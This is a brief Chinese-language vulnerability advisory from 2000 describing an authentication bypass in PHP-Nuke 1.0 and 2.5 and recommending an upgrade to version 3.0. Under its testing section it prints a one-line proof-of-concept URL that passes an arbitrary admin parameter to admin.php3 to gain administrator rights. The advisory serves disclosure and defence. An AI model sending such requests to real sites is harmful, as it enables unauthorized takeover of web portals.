发布日期：2000-08-22
更新日期：2000-08-22

受影响系统：

Francisco Burzi PHP-Nuke 2.5
    Francisco Burzi PHP-Nuke 1.0

不受影响系统：

Francisco Burzi PHP-Nuke 3.0
       - Linux kernel 2.2

描述：

---

PHP-Nuke Web Portal System存在一个权限确认错误，通过提交一个特殊的URL请求，
远程用户有可能获取管理员权限。

<* 来源：bruj0@securityportal.com.ar *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://target/admin.php3?admin=any_data

建议：

---

升级到PHP-Nuke 3.0

浏览次数：7398
严重程度：0（网友投票）